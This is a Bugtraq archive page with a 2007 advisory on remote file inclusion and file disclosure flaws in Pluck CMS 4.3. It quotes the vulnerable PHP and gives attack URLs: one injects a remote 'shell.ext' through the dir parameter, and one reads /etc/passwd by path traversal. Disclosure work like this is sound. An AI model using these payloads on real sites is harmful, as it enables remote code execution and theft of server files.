Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:




bugtraq logo Bugtraq mailing list archives

Pluck 4.3 themes.php Remote File Inclusion and disclosure
From: no-reply () aria-security net
Date: 2 Aug 2007 11:40:48 -0000

__________________

Aria-Security Team 
__________________

Pluck 4.3 Remote File Inclusion
Vendor: http://www.pluck-cms.org/


/path/data/inc/theme.php


if Register_global was set as ON then we can use the $dir variable for RFI

(is_file($dir."/".$file))
               $files[]=$file;
           else
               $dirs[]=$dir."/".$file;           
       }
        }
   if($dirs) {

       foreach ($dirs as $dir) {
          include ("$dir/theme.php");


http://example.com/path/data/inc/theme.php?dir=http://site/shell.ext?



-----------------------------------------------------


fputs($file, "<?php \$themepref = \"$cont\"; ?>");  


if Register_global was set as ON then we can use the $file variable for disclosure.

example:
http://example.com/path/data/inc/theme.php?file=../../../../etc/passwd (DEPENDS on server)



Credits: Aria-Security Team
http://aria-security.net
http://outlaw.aria-security.info [PERSONAL BLOG]




  By Date           By Thread  

Current thread:
  • Pluck 4.3 themes.php Remote File Inclusion and disclosure no-reply (Aug 02)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]